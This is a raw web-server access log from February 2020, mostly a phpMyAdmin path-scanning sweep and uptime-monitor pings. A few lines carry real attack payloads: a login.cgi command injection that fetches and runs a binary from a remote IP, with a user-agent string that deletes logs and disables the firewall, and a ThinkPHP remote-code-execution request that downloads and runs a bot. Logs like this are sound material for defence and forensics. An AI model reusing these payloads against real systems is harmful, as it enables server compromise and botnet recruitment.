106.52.68.193 - - [24/Feb/2020:22:31:32 +0100] "GET /phpMyAdmin4.8.0/index.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:32 +0100] "GET /phpMyAdmin4.8.1/index.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:33 +0100] "GET /phpMyAdmin4.8.2/index.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
212.91.246.72 - - [24/Feb/2020:22:31:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.52.68.193 - - [24/Feb/2020:22:31:33 +0100] "GET /phpMyAdmin4.8.3/index.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:33 +0100] "GET /phpMyAdmin4.8.4/index.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:34 +0100] "GET /phpMyAdmin4.8.5/index.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:34 +0100] "GET /myadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:34 +0100] "GET /myadmin2/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:34 +0100] "GET /xampp/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:35 +0100] "GET /phpMyadmin_bak/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:35 +0100] "GET /www/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:35 +0100] "GET /tools/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:35 +0100] "GET /phpmyadmin-old/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:36 +0100] "GET /phpMyAdminold/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:36 +0100] "GET /phpMyAdmin.old/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:36 +0100] "GET /pma-old/index.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:36 +0100] "GET /claroline/phpMyAdmin/index.php HTTP/1.1" 404 335 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:37 +0100] "GET /typo3/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:37 +0100] "GET /phpma/index.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:37 +0100] "GET /phpmyadmin/phpmyadmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:38 +0100] "GET /phpMyAdmin/phpMyAdmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:38 +0100] "GET /phpMyAbmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:38 +0100] "GET /phpMyAdmin__/index.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:38 +0100] "GET /phpMyAdmin+++---/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:39 +0100] "GET /v/index.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:39 +0100] "GET /phpmyadm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:39 +0100] "GET /phpMyAdm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:39 +0100] "GET /shaAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:40 +0100] "GET /phpMyadmi/index.php HTTP/1.1" 404 324 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:40 +0100] "GET /phpMyAdmion/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:40 +0100] "GET /s/index.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:40 +0100] "GET /MyAdmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:41 +0100] "GET /phpMyAdmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:41 +0100] "GET /phpMyAdmin123/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:41 +0100] "GET /pwd/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:41 +0100] "GET /phpMyAdmina/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:42 +0100] "GET /phpMydmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:42 +0100] "GET /phpMyAdmins/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:42 +0100] "GET /phpMyAdmin._/index.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:43 +0100] "GET /phpMyAdmin._2/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:43 +0100] "GET /phpmyadmin2222/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:43 +0100] "GET /phpMyAdmin333/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:43 +0100] "GET /phpmyadmin3333/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:44 +0100] "GET /php2MyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:44 +0100] "GET /phpiMyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:44 +0100] "GET /phpNyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:44 +0100] "GET /1/index.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:45 +0100] "GET /download/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:45 +0100] "GET /phpMyAdmin_111/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:45 +0100] "GET /phpmadmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:45 +0100] "GET /321/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:46 +0100] "GET /123131/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:46 +0100] "GET /phpMyAdminn/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:46 +0100] "GET /phpMyAdminhf/index.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:47 +0100] "GET /sbb/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:47 +0100] "GET /WWW/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:47 +0100] "GET /phpMyAdmln/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:47 +0100] "GET /phpMyAdmin_ai/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:48 +0100] "GET /__phpMyAdmin/index.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:48 +0100] "GET /program/index.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:48 +0100] "GET /shopdb/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:48 +0100] "GET /phppma/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:49 +0100] "GET /phpmy/index.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:49 +0100] "GET /mysql/admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:49 +0100] "GET /mysql/dbadmin/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:49 +0100] "GET /mysql/sqlmanager/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:50 +0100] "GET /mysql/mysqlmanager/index.php HTTP/1.1" 404 333 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:50 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php HTTP/1.1" 404 364 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:50 +0100] "GET /sqladmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:50 +0100] "GET /sql/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:54 +0100] "GET /websql/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:55 +0100] "GET /MySQLAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:55 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
45.152.6.58 - - [24/Feb/2020:22:32:00 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [24/Feb/2020:22:32:22 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [24/Feb/2020:22:32:26 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [24/Feb/2020:22:32:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [24/Feb/2020:22:32:50 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [24/Feb/2020:22:32:58 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [24/Feb/2020:22:33:30 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [24/Feb/2020:22:33:32 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [24/Feb/2020:22:33:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [24/Feb/2020:22:33:50 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [24/Feb/2020:22:34:07 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [24/Feb/2020:22:34:19 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [24/Feb/2020:22:34:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:22:35:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
77.108.49.54 - - [24/Feb/2020:22:36:15 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [24/Feb/2020:22:36:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:22:37:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:22:38:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:22:39:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
24.231.36.167 - - [24/Feb/2020:22:40:20 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [24/Feb/2020:22:40:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:22:41:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:22:42:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:22:43:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.45.192.156 - - [24/Feb/2020:22:43:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [24/Feb/2020:22:44:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
169.197.108.38 - - [24/Feb/2020:22:44:50 +0100] "GET /Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
84.22.40.146 - - [24/Feb/2020:22:44:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
125.64.94.220 - - [24/Feb/2020:22:44:57 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
125.64.94.220 - - [24/Feb/2020:22:44:57 +0100] "\x16\x03\x01" 501 318 "-" "-"
212.91.246.72 - - [24/Feb/2020:22:45:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:22:46:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
169.197.108.42 - - [24/Feb/2020:22:46:48 +0100] "GET /Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:22:47:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.14.140.150 - - [24/Feb/2020:22:48:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
212.91.246.72 - - [24/Feb/2020:22:48:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:22:49:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.64.94.220 - - [24/Feb/2020:22:50:05 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
125.64.94.220 - - [24/Feb/2020:22:50:06 +0100] "\x16\x03\x01" 501 318 "-" "-"
212.91.246.72 - - [24/Feb/2020:22:50:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:22:51:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.64.94.220 - - [24/Feb/2020:22:51:34 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
125.64.94.220 - - [24/Feb/2020:22:51:35 +0100] "\x16\x03\x01" 501 318 "-" "-"
212.91.246.72 - - [24/Feb/2020:22:52:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:22:53:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.244.56.115 - - [24/Feb/2020:22:53:51 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [24/Feb/2020:22:54:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.44.232.84 - - [24/Feb/2020:22:55:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [24/Feb/2020:22:55:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.87.53.123 - - [24/Feb/2020:22:55:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:22:56:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:22:57:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:22:58:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.64.94.220 - - [24/Feb/2020:22:58:39 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
125.64.94.220 - - [24/Feb/2020:22:58:39 +0100] "\x16\x03\x01" 501 318 "-" "-"
212.91.246.72 - - [24/Feb/2020:22:59:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:23:00:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:23:01:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.189 - - [24/Feb/2020:23:02:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [24/Feb/2020:23:02:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.113.216.133 - - [24/Feb/2020:23:02:46 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
45.143.220.189 - - [24/Feb/2020:23:03:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [24/Feb/2020:23:03:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:23:04:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:23:05:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:23:06:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:23:07:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:23:08:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:23:09:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.42.199.235 - - [24/Feb/2020:23:09:59 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
45.143.220.189 - - [24/Feb/2020:23:10:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [24/Feb/2020:23:10:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.76.130.166 - - [24/Feb/2020:23:10:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
45.143.220.189 - - [24/Feb/2020:23:11:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [24/Feb/2020:23:11:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.33.248.219 - - [24/Feb/2020:23:12:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [24/Feb/2020:23:12:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:23:13:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:23:14:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
